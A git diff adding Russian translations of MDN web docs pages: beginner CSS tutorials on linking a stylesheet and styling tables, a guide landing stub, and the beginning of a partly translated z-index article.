+  <p>То, что вы увидите на самом деле, может немного отличаться потому, что настройки по умолчанию вашего браузера и данной энциклопедии наверняка будут отличаться: небольшие различия в шрифте, пробелах и цветах не очень-то и важны.</p>
+ </li>
+</ol>
+
+<h2 id="Что_дальше">Что дальше?</h2>
+
+<p>{{nextPage("/ru/docs/Web/Guide/CSS/Getting_Started/Why_use_CSS", "Зачем нужен CSS?")}}В документе, который вы создали, CSS пока что не использовался. В <a href="/ru/docs/Web/Guide/CSS/Getting_Started/Why_use_CSS" title="/ru/docs/Web/Guide/CSS/Getting_Started/Why_use_CSS">следующем разделе</a> вы научитесь использовать CSS для стилизации документа.</p>
diff --git a/files/ru/web/guide/css/getting_started/why_use_css/index.html b/files/ru/web/guide/css/getting_started/why_use_css/index.html
new file mode 100644
index 0000000000..04f708bc27
--- /dev/null
+++ b/files/ru/web/guide/css/getting_started/why_use_css/index.html
@@ -0,0 +1,109 @@
+---
+title: Зачем нужен CSS?
+slug: Web/Guide/CSS/Getting_started/Why_use_CSS
+tags:
+  - Beginner
+  - CSS
+  - 'CSS:Getting_Started'
+  - Example
+  - Guide
+  - Web
+  - Веб
+  - Новичку
+  - Руководство
+translation_of: Learn/CSS/First_steps/How_CSS_works
+---
+<p><span style="line-height: 1.5;">{{ CSSTutorialTOC() }}</span></p>
+
+<p>{{ previousPage("/ru/docs/Web/Guide/CSS/Getting_Started/What_is_CSS", "Что такое CSS?") }}<span class="seoSummary">Это вторая статья руководства по <a href="/ru/docs/Web/Guide/CSS/Getting_started" title="ru/docs/Web/Guide/CSS/Getting_started">CSS для начинающих</a>, объясняющая взаимосвязь между CSS и документами. В ней вы узнаете, как добавить CSS стили для документа, который вы создали в процессе изучения первой статьи.</span></p>
+
+<h2 class="clearLeft" id="Информация_Зачем_нужен_CSS">Информация: Зачем нужен CSS?</h2>
+
+<p>CSS используется для определения стилей ваших документов, в том числе дизайна, верстки и вариаций макета для различных устройств и размеров экрана. Вы можете разместить стили CSS внутри тега &lt;HEAD&gt; документа с встроенной таблицей стилей, или приложить отдельный CSS-файл, который будет определять ваши стили извне. Чтобы привязать внешнюю таблицу стилей к документу, просто добавьте ссылку на таблицу стилей в заголовке &lt;HEAD&gt; документа.</p>
+
+<p>У внешней таблицы стилей есть множество преимуществ. Сохранение стилей отдельно от содержания HTML:</p>
+
+<ul>
+ <li>Помогает избежать дублирования</li>
+ <li>Облегчает обслуживание</li>
+ <li>Позволяет делать изменения для всего сайта в одном месте</li>
+</ul>
+
+<div class="tuto_example">
+<div class="tuto_type">Пример</div>
+
+<p>Используя CSS, вы храните информацию о стилях в общих файлах, которые доступны всем страницам. Например, когда документы ссылаются на те таблицы стилей, которые определяют цвет заголовков h2, вы можете применить стиль для тегов заголовков h2 на глобальном уровне путем изменения одного атрибута CSS.</p>
+
+<p>Когда пользователь открывает веб-страницу, браузер загружает информацию стиля вместе с содержанием страницы.</p>
+
+<p>Когда пользователь открывает веб-страницу в режиме печати, вы можете предоставить различную информацию о стилях которая сделает страницу более лёгкой для чтения.</p>
+</div>
+
+<p>Как заставить HTML и CSS работать вместе? В целом, HTML используется для описания содержимого документа, а не его стиля. CSS же используется, чтобы указать стиль документа, но не содержание. Позже в руководстве вы увидите некоторые исключения из этого правила.</p>
+
+<div class="tuto_details">
+<div class="tuto_type">Подробнее</div>
+
+<p>Язык разметки, типа HTML также обеспечивает некоторые способы задания стилей.</p>
+
+<p>Например, в HTML вы можете использовать тег &lt;B&gt;, чтобы сделать текст жирным, либо указать цвет фона страницы в теге &lt;BODY&gt;.</p>
+
+<p>При использовании CSS, задание стилей средствами языка разметки обычно не используется, поскольку вся информация о стилях легко доступна для чтения и изменения в CSS-файле.</p>
+</div>
+
+<h2 id="Действие_Создание_таблицы_стилей">Действие: Создание таблицы стилей</h2>
+
+<ol>
+ <li>Создайте новый текстовый файл в том же каталоге, что и <code>doc1.html</code>, созданный в первой статье.</li>
+ <li>Сохраните его как <code>style1.css</code>. Этот файл будет вашей таблицей стилей.</li>
+ <li>Скопируйте и вставьте в CSS-файл приведённую ниже строку, после чего сохраните файл:
+  <pre class="brush: css">strong {color: red;}
+</pre>
+ </li>
+</ol>
+
+<h3 id="Привязка_таблицы_стилей_к_документу">Привязка таблицы стилей к документу</h3>
+
+<ol>
+ <li>Для привязки вашего документа к таблице стилей, необходимо внести в HTML-файл некоторые исправления. Добавьте строки, приведённые ниже:
+  <pre class="brush: html; highlight:[6];">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+  &lt;meta charset="UTF-8"&gt;
+  &lt;title&gt;Sample document&lt;/title&gt;
+  &lt;link rel="stylesheet" href="style1.css"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;
+      &lt;strong&gt;C&lt;/strong&gt;ascading
+      &lt;strong&gt;S&lt;/strong&gt;tyle
+      &lt;strong&gt;S&lt;/strong&gt;heets
+    &lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+ </li>
+ <li>Сохраните файл, и откройте его в браузере. Таблица стилей сделает заглавные буквы красными:</li>
+</ol>
+
+<p>{{ EmbedLiveSample('Действие_Создание_таблицы_стилей', '', '', '', 'Web/Guide/CSS/Getting_started/Why_use_CSS') }}</p>
+
+<p>{{ LiveSampleLink('Action.3A_Creating_a_stylesheet', 'Просмотреть демо') }}</p>
+
+<div class="tuto_example" id="challenge">
+<div class="tuto_type">Задание</div>
+
+<p>В дополнение к красному, в CSS имеются и другие названия цветов.</p>
+
+<p>Не открывая подсказку, подберите ещё пять цветовых имён, которые будут работать в CSS.</p>
+
+<div class="tuto_details" id="tutochallenge">
+<div class="tuto_type">Возможное решение</div>
+
+<p>CSS поддерживает общие названия цветов, например <code>orange</code>, <code>yellow</code>, <code>blue</code>, <code>green</code>, или <code>black</code>. Он также поддерживает некоторые более экзотические названия типа <code>chartreuse</code>, <code>fuschia</code>, или <code>burlywood</code>. Посмотрите <a href="/ru/docs/CSS/color_value" title="Цвет в CSS">значения цвета CSS</a>, чтобы ознакомится с полным списком поддерживаемых цветов, а так же методов их задания.</p>
+<a class="hideAnswer" href="#challenge">Скрыть решение</a></div>
+<a href="#tutochallenge" title="Display a possible solution for the challenge">Посмотреть решение задания.</a></div>
+
+<h2 id="Что_дальше">Что дальше?</h2>
+
+<p>{{nextPage("/ru/docs/Web/Guide/CSS/Getting_started/How_CSS_works", "Как работает CSS.")}}  Теперь, когда у вас есть образец документа, связанный с отдельной таблицей стилей, вы готовы <a href="/ru/docs/Web/Guide/CSS/Getting_started/How_CSS_works" title="/ru/docs/Web/Guide/CSS/Getting_started/How_CSS_works">узнать больше</a> о том, как ваш браузер объединяет их при отображении документа.</p>
diff --git a/files/ru/web/guide/css/getting_started/таблицы/index.html b/files/ru/web/guide/css/getting_started/таблицы/index.html
new file mode 100644
index 0000000000..b67f611ea7
--- /dev/null
+++ b/files/ru/web/guide/css/getting_started/таблицы/index.html
@@ -0,0 +1,524 @@
+---
+title: Таблицы
+slug: Web/Guide/CSS/Getting_started/Таблицы
+tags:
+  - CSS
+  - Веб
+  - Руководство
+translation_of: Learn/CSS/Building_blocks/Styling_tables
+---
+<p>{{CSSTutorialTOC}}{{previousPage("/ru/docs/Web/Guide/CSS/Getting_Started/Layout", "Layout")}}</p>
+
+<p>Это 13-я секция руководства <a href="/en-US/docs/Web/Guide/CSS/Getting_Started" title="en-US/docs/Web/Guide/CSS/Getting Started">CSS Начало работы</a>; оно описывает более продвинутые селекторы и некоторые специфичные способы, которыми вы можете стилизовать таблицу. Вы создаете новый пример документа, содержащий таблицу и таблицу стилей для неё.</p>
+
+<h2 class="clearLeft" id="Информация_Таблицы">Информация: Таблицы</h2>
+
+<p>Таблица распологает информацию в прямоугольной сетке. Некоторые таблицы могут быть сложными, и для сложных таблиц разные браузеры выдают разный результат.</p>
+
+<p>Когда вы проектируете ваш документ, используйте таблицы для выражения <a href="/ru/docs/Web/Guide/CSS/Getting_Started/Selectors#relselectors" title="en-US/docs/Web/Guide/CSS/Getting_Started/Selectors#relselectors">отношений</a> между кусочками информации. Поэтому это не важно, если различные браузеры отображают информацию слегка различными способами, потому что значение остается ясным.</p>
+
+<p>Не используйте таблицы необычным способом для создания особенной визуальной разметки. Техники на предыдущей странице руководства (<strong><a href="/ru/docs/Web/Guide/CSS/Getting_Started/Layout" title="en-US/docs/Web/Guide/CSS/Getting_Started/Layout">Разметка</a></strong>) предпочтительнее для этой цели.</p>
+
+<h3 id="Структура_таблицы">Структура таблицы</h3>
+
+<p>В таблице, каждый кусок информации отображается в ячейке (<em>cell)</em>.</p>
+
+<p>Ячейки, лежащие на одной линии, составляют строку (<em>row</em>).</p>
+
+<p>В некоторыех таблицах, строки могут быть сгруппирированы. Специальная группа строк в начале таблицы - заголовок (<em>header)</em>, в конце - нижний колонтитул (<em>footer)</em>. Главные строки таблицы - тело (<em>body)</em>, и они могут быть также сгруппирированы.</p>
+
+<p>Ячейки в линии сверху вниз, составляют столбец (<em>column)</em>, но столбцы имеют ограниченное приминение в таблицах CSS.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Пример</div>
+
+<p>Таблица <a href="/ru/docs/Web/Guide/CSS/Getting_Started/Selectors#relselectors" title="en-US/docs/Web/Guide/CSS/Getting_Started/Selectors#relselectors">Селекторов, основанных на отношении</a> в <a href="/ru/docs/Web/Guide/CSS/Getting_Started/Selectors" title="en-US/docs/Web/Guide/CSS/Getting_Started/Selectors">Селекторы</a> имеет десять ячеек в пяти строках.</p>
+
+<p>Первая строка - заголовок. Остальные четыре строки - тело таблицы. Нижнего колонтитула нет.</p>
+
+<p>У неё два столбца.</p>
+</div>
+
+<p>Это руководство охватывает только простые таблицы, где результат довольно предсказуемый. В простой таблице, каждая ячейка занимает только одну ячейку в строке и в столбце. Вы можете использовать CSS для сложных таблиц, где ячейки занимают диапазон ячеек более чем одна в строке или столбце, но таблицы, подобно этим находятся вне пределов этого руководства.</p>
+
+<h3 id="Рамки">Рамки</h3>
+
+<p>Ячейки не имеют границ.</p>
+
+<p>У ячеек нет рамок и наполнений. По умолчанию, рамки разделены значениями таблицы, свойство {{cssxref("border-spacing")}}. Вы можете также полностью удалить пространство, установив свойство таблицы {{cssxref("border-collapse")}} в <code>collapse</code>.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Пример</div>
+
+<p>Здесь три таблицы.</p>
+
+<p>У таблицы слева интервал рамки 0.5 em. У таблицы по центру он составляет ноль. Таблица справа имеет сжатые границы:</p>
+
+<table style="background-color: white; border: 2px outset #36b; padding: 1em;">
+ <tbody>
+  <tr>
+   <td style="padding-right: 2em;">
+    <table style="">
+     <tbody>
+      <tr>
+       <td style="border: 1px solid #c00; text-align: center;">Clubs</td>
+       <td style="border: 1px solid #c00; text-align: center;">Hearts</td>
+      </tr>
+      <tr>
+       <td style="border: 1px solid #c00; text-align: center;">Diamonds</td>
+       <td style="border: 1px solid #c00; text-align: center;">Spades</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td style="padding-right: 2em;">
+    <table style="">
+     <tbody>
+      <tr>
+       <td style="border: 1px solid #c00; text-align: center;">Clubs</td>
+       <td style="border: 1px solid #c00; text-align: center;">Hearts</td>
+      </tr>
+      <tr>
+       <td style="border: 1px solid #c00; text-align: center;">Diamonds</td>
+       <td style="border: 1px solid #c00; text-align: center;">Spades</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td style="padding-right: 6em;">
+    <table style="border-collapse: collapse;">
+     <tbody>
+      <tr>
+       <td style="border: 1px solid #c00; text-align: center;">Clubs</td>
+       <td style="border: 1px solid #c00; text-align: center;">Hearts</td>
+      </tr>
+      <tr>
+       <td style="border: 1px solid #c00; text-align: center;">Diamonds</td>
+       <td style="border: 1px solid #c00; text-align: center;">Spades</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Заголовок">Заголовок</h3>
+
+<p>{{HTMLElement("caption")}} элемент - это метка, которая применяется ко всей таблице. По умолчанию, она отображается вверху таблицы.</p>
+
+<p>Чтобы переместить её вниз, установите её свойство {{cssxref("caption-side")}} в <code>bottom</code>. Это свойство наследуется, поэтому, в качестве альтернативы вы можете установить это свойство у таблицы или у другого элемента предка.</p>
+
+<p>Чтобы стилизовать заголовок текста, используйте любое из обычных свойств для текста.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Пример</div>
+
+<p>У этой таблицы заголовок внизу</p>
+
+<pre class="brush: css">#demo-table &gt; caption {
+  caption-side: bottom;
+  font-style: italic;
+  text-align: right;
+}
+</pre>
+
+<table style="background-color: white; border: 2px outset #36b; padding: 1em 6em 1em 1em;">
+ <tbody>
+  <tr>
+   <td>
+    <table>
+     <caption>Подходит</caption>
+     <tbody>
+      <tr>
+       <td>
+        <table style="border-collapse: collapse;">
+         <tbody>
+          <tr>
+           <td style="border: 1px solid gray; text-align: center;">Клубы</td>
+           <td style="border: 1px solid gray; text-align: center;">Сердца</td>
+          </tr>
+          <tr>
+           <td style="border: 1px solid gray; text-align: center;">Алмазы</td>
+           <td style="border: 1px solid gray; text-align: center;">Лопаты</td>
+          </tr>
+         </tbody>
+        </table>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Пустые_ячейки">Пустые ячейки</h3>
+
+<p>Вы можете отобразить пустые ячейки (т.е. их рамки и фон) указывав {{cssxref("empty-cells")}}: show; для элемента таблицы.</p>
+
+<p>Вы можете скрыть их, указав <code>empty-cells: hide;</code>. Тогда, если у элемента родителя ячейки есть фон, он будет отображен через пустую ячейку.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Пример</div>
+
+<p>Эти таблицы имеют бледно-зелёный фон. Их ячейки имеют бледно-серый фон и тёмно-серые рамки.</p>
+
+<p>В таблице слева пустая таблица отображается. В таблице справа, она скрыта:</p>
+
+<table style="background-color: white; border: 2px outset #36b; padding: 1em;">
+ <tbody>
+  <tr>
+   <td style="padding-right: 2em;">
+    <table style="background-color: #dfd;">
+     <tbody>
+      <tr>
+       <td style="border: 1px solid #555; background-color: #eee;"> </td>
+       <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Сердца</td>
+      </tr>
+      <tr>
+       <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Алмазы</td>
+       <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Лопаты</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+   <td style="padding-right: 6em;">
+    <table style="background-color: #dfd;">
+     <tbody>
+      <tr>
+       <td> </td>
+       <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Сердца</td>
+      </tr>
+      <tr>
+       <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Алмазы</td>
+       <td style="border: 1px solid #555; background-color: #eee; text-align: center;">Лопаты</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="tuto_details">
+<div class="tuto_type">Детали</div>
+
+<p>Для подбробной информации о таблицах, смотрите <a href="http://www.w3.org/TR/CSS21/tables.html">Таблицы</a> в Спецификации CSS.</p>
+
+<p>Информации там больше, чем в этом руководстве, но она не покрывает различия между браузерами, которые могут влиять на сложные таблицы.</p>
+</div>
+
+<h2 id="Действие_Стилизация_таблицы">Действие: Стилизация таблицы</h2>
+
+<ol>
+ <li>Создайте новый HTML документ, <code>doc3.html</code>. Скопируйте и вставьте содержимое отсюда:
+
+  <div style="height: 36em; overflow: auto;">
+  <pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Документ примера 3&lt;/title&gt;
+    &lt;link rel="stylesheet" href="style3.css"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;table id="demo-table"&gt;
+      &lt;caption&gt;Океаны&lt;/caption&gt;
+      &lt;thead&gt;
+        &lt;tr&gt;
+          &lt;th&gt;&lt;/th&gt;
+          &lt;th&gt;Площадь&lt;/th&gt;
+          &lt;th&gt;Средняя глубина&lt;/th&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;
+          &lt;th&gt;&lt;/th&gt;
+          &lt;th&gt;млн. км&lt;sup&gt;2&lt;/sup&gt;&lt;/th&gt;
+          &lt;th&gt;м&lt;/th&gt;
+        &lt;/tr&gt;
+      &lt;/thead&gt;
+      &lt;tbody&gt;
+        &lt;tr&gt;
+          &lt;th&gt;Северный Ледовитый&lt;/th&gt;
+          &lt;td&gt;13,000&lt;/td&gt;
+          &lt;td&gt;1,200&lt;/td&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;
+          &lt;th&gt;Атлантический&lt;/th&gt;
+          &lt;td&gt;87,000&lt;/td&gt;
+          &lt;td&gt;3,900&lt;/td&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;
+          &lt;th&gt;Тихий&lt;/th&gt;
+          &lt;td&gt;180,000&lt;/td&gt;
+          &lt;td&gt;4,000&lt;/td&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;
+          &lt;th&gt;Индийский&lt;/th&gt;
+          &lt;td&gt;75,000&lt;/td&gt;
+          &lt;td&gt;3,900&lt;/td&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;
+          &lt;th&gt;Южный&lt;/th&gt;
+          &lt;td&gt;20,000&lt;/td&gt;
+          &lt;td&gt;4,500&lt;/td&gt;
+        &lt;/tr&gt;
+      &lt;/tbody&gt;
+      &lt;tfoot&gt;
+        &lt;tr&gt;
+          &lt;th&gt;Общая&lt;/th&gt;
+          &lt;td&gt;361,000&lt;/td&gt;
+          &lt;td&gt;&lt;/td&gt;
+        &lt;/tr&gt;
+        &lt;tr&gt;
+          &lt;th&gt;Средняя&lt;/th&gt;
+          &lt;td&gt;72,000&lt;/td&gt;
+          &lt;td&gt;3,800&lt;/td&gt;
+        &lt;/tr&gt;
+      &lt;/tfoot&gt;
+    &lt;/table&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+  </div>
+ </li>
+ <li>Создайте новую таблицу стилей, <code>style3.css</code>. Скопируйте и вставьте содержимое отсюда:
+  <pre class="brush: css">/*** Style for doc3.html (Tables) ***/
+
+#demo-table {
+  font: 100% sans-serif;
+  background-color: #efe;
+  border-collapse: collapse;
+  empty-cells: show;
+  border: 1px solid #7a7;
+}
+
+#demo-table &gt; caption {
+  text-align: left;
+  font-weight: bold;
+  font-size: 200%;
+  border-bottom: .2em solid #4ca;
+  margin-bottom: .5em;
+}
+
+
+/* basic shared rules */
+#demo-table th,
+#demo-table td {
+  text-align: right;
+  padding-right: .5em;
+}
+
+#demo-table th {
+  font-weight: bold;
+  padding-left: .5em;
+}
+
+
+/* header */
+#demo-table &gt; thead &gt; tr:first-child &gt; th {
+  text-align: center;
+  color: blue;
+}
+
+#demo-table &gt; thead &gt; tr + tr &gt; th {
+  font-style: italic;
+  color: gray;
+}
+
+/* fix size of superscript */
+#demo-table sup {
+  font-size: 75%;
+}
+
+/* body */
+#demo-table td {
+  background-color: #cef;
+  padding:.5em .5em .5em 3em;
+}
+
+#demo-table tbody th:after {
+  content: ":";
+}
+
+
+/* footer */
+#demo-table tfoot {
+  font-weight: bold;
+}
+
+#demo-table tfoot th {
+  color: blue;
+}
+
+#demo-table tfoot th:after {
+  content: ":";
+}
+
+#demo-table &gt; tfoot td {
+  background-color: #cee;
+}
+
+#demo-table &gt; tfoot &gt; tr:first-child td {
+  border-top: .2em solid #7a7;
+}
+</pre>
+ </li>
+ <li>Откройте документ в вашем браузере. Он должен выглядеть наподобие этого:
+  <table style="background-color: white; border: 2px outset #36b; padding: 1em 6em 1em 1em;">
+   <tbody>
+    <tr>
+     <td>
+      <p style="font: bold 200% sans-serif; text-align: left; border-bottom: .2em solid #4ca; margin: 0px 0px .5em 0px;">Океаны</p>
+
+      <div style="border: 1px solid #7a7; background-color: #efe;">
+      <table style="background-color: #efe; border-collapse: collapse; font: 100% sens-serif; padding-right: .5em; text-align: right;">
+       <tbody>
+        <tr style="text-align: center; color: blue;">
+         <th> </th>
+         <th>Площадь</th>
+         <th style="padding-left: .5em; padding-right: .5em;">Средняя глубина</th>
+        </tr>
+        <tr style="font-style: italic; color: gray;">
+         <th> </th>
+         <th style="padding-left: .5em; padding-right: .5em;"><sup>млн. км</sup><sup>2</sup></th>
+         <th style="padding-left: .5em; padding-right: .5em;">м</th>
+        </tr>
+        <tr>
+         <th style="padding-right: .5em;">Северный Ледовитый:</th>
+         <td style="background-color: #cef; padding: .5em .5em .5em 3em;">13,000</td>
+         <td style="background-color: #cef; padding: .5em .5em .5em 3em;">1,200</td>
+        </tr>
+        <tr>
+         <th style="padding-right: .5em;">Атлантический:</th>
+         <td style="background-color: #cef; padding: .5em .5em .5em 3em;">87,000</td>
+         <td style="background-color: #cef; padding: .5em .5em .5em 3em;">3,900</td>
+        </tr>
+        <tr>
+         <th style="padding-right: .5em;">Тихий:</th>
+         <td style="background-color: #cef; padding: .5em .5em .5em 3em;">180,000</td>
+         <td style="background-color: #cef; padding: .5em .5em .5em 3em;">4,000</td>
+        </tr>
+        <tr>
+         <th style="padding-right: .5em;">Индийский:</th>
+         <td style="background-color: #cef; padding: .5em .5em .5em 3em;">75,000</td>
+         <td style="background-color: #cef; padding: .5em .5em .5em 3em;">3,900</td>
+        </tr>
+        <tr>
+         <th style="padding-left: .5em; padding-right: .5em;">Южный:</th>
+         <td style="background-color: #cef; padding: .5em .5em .5em 3em;">20,000</td>
+         <td style="background-color: #cef; padding: .5em .5em .5em 3em;">4,500</td>
+        </tr>
+        <tr>
+         <th style="padding-right: .5em; color: blue;">Общая:</th>
+         <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;">361,000</td>
+         <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;"> </td>
+        </tr>
+        <tr>
+         <th style="padding-right: .5em; color: blue;">Средняя:</th>
+         <td style="background-color: #cee; padding: .5em .5em .5em 3em;">72,000</td>
+         <td style="background-color: #cee; padding: .5em .5em .5em 3em;">3,800</td>
+        </tr>
+       </tbody>
+      </table>
+      </div>
+     </td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li>Сравните правила в таблице стилей с отображенной таблицей, чтобы гарантировать, что вы понимаете действие для каждого правила. Если вы найдете правило, значение которого вы не понимаете, то закомментируйте его и обновите страницу, чтобы посмотреть, что изменилось. Вот несколько заметок об этой таблице:
+  <ul>
+   <li>Заголовок находится снаружи рамки таблицы.</li>
+   <li>Если у вас установлен минимальный размер точки в Опциях, это может повлиять на верхний индекс в km<sup>2</sup>.</li>
+   <li>Три пустые ячейки. Через две из них  позволено показывать фон таблицы. У третьей есть фон и верхняя рамка.</li>
+   <li>Двоеточия добавлены с помощью таблицы стилей.</li>
+  </ul>
+ </li>
+</ol>
+
+<div class="tuto_example">
+<div class="tuto_type">Вызов</div>
+
+<p>Измените таблицу стилей, чтобы она выглядела, как эта:</p>
+
+<table style="background-color: white; border: 2px outset #36b; padding: 1em 6em 1em 1em;">
+ <tbody>
+  <tr>
+   <td>
+    <div style="border: 1px solid #7a7; background-color: #efe;">
+    <table style="background-color: #efe; border-collapse: collapse; font: 100% sens-serif; padding-right: .5em; text-align: right;">
+     <tbody>
+      <tr style="text-align: center; color: blue;">
+       <th>
+        <table style="background-color: #efe; border-collapse: collapse; font: 100% sens-serif; padding-right: .5em; text-align: right;">
+         <tbody>
+          <tr style="text-align: center; color: blue;">
+           <th> </th>
+           <th>Площадь</th>
+           <th style="padding-left: .5em; padding-right: .5em;">Средняя глубина</th>
+          </tr>
+          <tr style="font-style: italic; color: gray;">
+           <th> </th>
+           <th style="padding-left: .5em; padding-right: .5em;"><sup>млн. км</sup><sup>2</sup></th>
+           <th style="padding-left: .5em; padding-right: .5em;">м</th>
+          </tr>
+          <tr>
+           <th style="padding-right: .5em;">Северный Ледовитый:</th>
+           <td style="background-color: #cef; padding: .5em .5em .5em 3em;">13,000</td>
+           <td style="background-color: #cef; padding: .5em .5em .5em 3em;">1,200</td>
+          </tr>
+          <tr>
+           <th style="padding-right: .5em;">Атлантический:</th>
+           <td style="background-color: #cef; padding: .5em .5em .5em 3em;">87,000</td>
+           <td style="background-color: #cef; padding: .5em .5em .5em 3em;">3,900</td>
+          </tr>
+          <tr>
+           <th style="padding-right: .5em;">Тихий:</th>
+           <td style="background-color: #cef; padding: .5em .5em .5em 3em;">180,000</td>
+           <td style="background-color: #cef; padding: .5em .5em .5em 3em;">4,000</td>
+          </tr>
+          <tr>
+           <th style="padding-right: .5em;">Индийский:</th>
+           <td style="background-color: #cef; padding: .5em .5em .5em 3em;">75,000</td>
+           <td style="background-color: #cef; padding: .5em .5em .5em 3em;">3,900</td>
+          </tr>
+          <tr>
+           <th style="padding-left: .5em; padding-right: .5em;">Южный:</th>
+           <td style="background-color: #cef; padding: .5em .5em .5em 3em;">20,000</td>
+           <td style="background-color: #cef; padding: .5em .5em .5em 3em;">4,500</td>
+          </tr>
+          <tr>
+           <th style="padding-right: .5em; color: blue;">Общая:</th>
+           <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;">361,000</td>
+           <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;"> </td>
+          </tr>
+          <tr>
+           <th style="padding-right: .5em; color: blue;">Средняя:</th>
+           <td style="background-color: #cee; padding: .5em .5em .5em 3em;">72,000</td>
+           <td style="background-color: #cee; padding: .5em .5em .5em 3em;">3,800</td>
+          </tr>
+         </tbody>
+        </table>
+       </th>
+      </tr>
+     </tbody>
+    </table>
+    </div>
+
+    <p style="font: italic 100% sans-serif; text-align: right; border-top: .4em solid #4ca; margin: 1em 0px 0px 0px;">Океаны</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p><a href="/ru/docs/Web/Guide/CSS/Getting_Started/Challenge_solutions#Tables" title="en-US/docs/Web/Guide/CSS/Getting_Started/Challenge_solutions#Tables">Посмотреть решение для этой задачи.</a></p>
+
+<h2 id="Что_дальше">Что дальше?</h2>
+
+<p>{{nextPage("/ru/docs/Web/Guide/CSS/Getting_Started/Media", "Media")}}Это последняя страница в этом руководстве, которая фокусируется на CSS свойствах и значениях. Для полного обзора свойств и значений, смотрите <a href="http://www.w3.org/TR/CSS21/propidx.html">все свойства таблиц</a> в CSS Спецификациях.</p>
+
+<p>Следующая страница <a href="/ru/docs/Web/Guide/CSS/Getting_Started/Media" title="en-US/docs/Web/Guide/CSS/Getting_Started/Media">тоже рассматривает</a> цель и структуру CSS таблиц.</p>
diff --git a/files/ru/web/guide/css/index.html b/files/ru/web/guide/css/index.html
new file mode 100644
index 0000000000..5d13e8cc55
--- /dev/null
+++ b/files/ru/web/guide/css/index.html
@@ -0,0 +1,11 @@
+---
+title: Руководство разработчика CSS
+slug: Web/Guide/CSS
+tags:
+  - CSS
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+translation_of: Learn/CSS
+---
+prepare for redirect
diff --git a/files/ru/web/guide/css/understanding_z_index/adding_z-index/index.html b/files/ru/web/guide/css/understanding_z_index/adding_z-index/index.html
new file mode 100644
index 0000000000..2fff1726d3
--- /dev/null
+++ b/files/ru/web/guide/css/understanding_z_index/adding_z-index/index.html
@@ -0,0 +1,157 @@
+---
+title: Using z-index
+slug: Web/Guide/CSS/Understanding_z_index/Adding_z-index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index
+---
+<div>{{cssref}}</div>
+
+<p>The first part of this article, <a href="/en/CSS/Understanding_z-index/Stacking_without_z-index" title="en/CSS/Understanding_z-index/Stacking_without_z-index">Stacking without the z-index property</a>, explains how stacking is arranged by default. If you want to create a custom stacking order, you can use the {{cssxref("z-index")}} property on a <a href="/en-US/docs/Web/CSS/position#Types_of_positioning">positioned</a> element.</p>
+
+<p>Свойство <code>z-index</code> может иметь значение в целых числах (положительные, ноль, или отрицательные), что представляет собой позицию єлемента вдоль оси z. Если вы не знакомы с<strong> </strong>осью<strong> </strong>z, представьте себе страницу как стопку слоев, имеющих собственое порядковое число. Слои представлены в числовом порядке, with larger numbers above smaller numbers.</p>
+
+<ul>
+ <li>bottom layer<em> (farthest from the observer)</em></li>
+ <li>...</li>
+ <li>Layer -3</li>
+ <li>Layer -2</li>
+ <li>Layer -1</li>
+ <li>Layer 0 <em>(default rendering layer)</em></li>
+ <li>Layer 1</li>
+ <li>Layer 2</li>
+ <li>Layer 3</li>
+ <li>...</li>
+ <li>top layer<em> (closest to the observer)</em></li>
+</ul>
+
+<div class="note">
+<p><strong>Notes:</strong></p>
+
+<ul>
+ <li>When no <code>z-index</code> property is specified, elements are rendered on the default rendering layer 0 (zero).</li>
+ <li>If several elements share the same <code>z-index</code> value (i.e., they are placed on the same layer), stacking rules explained in the section <a href="/en/CSS/Understanding_z-index/Stacking_without_z-index" title="Stacking without z-index">Stacking without z-index</a> apply.</li>
+</ul>
+</div>
+
+<p>In the following example, the layers' stacking order is rearranged using <code>z-index</code>. The <code>z-index</code> of element #5 has no effect since it is not a positioned element.</p>
+
+<p>{{EmbedLiveSample("Source_code_for_the_example", 600, 400)}}</p>
+
+<h2 id="Source_code_for_the_example"><strong>Source code for the example</strong></h2>
+
+<h3 id="HTML"><strong>HTML</strong></h3>
+
+<pre class="brush: html">&lt;div id="abs1"&gt;
+  &lt;b&gt;DIV #1&lt;/b&gt;
+  &lt;br /&gt;position: absolute;
+  &lt;br /&gt;z-index: 5;
+&lt;/div&gt;
+
+&lt;div id="rel1"&gt;
+  &lt;b&gt;DIV #2&lt;/b&gt;
+  &lt;br /&gt;position: relative;
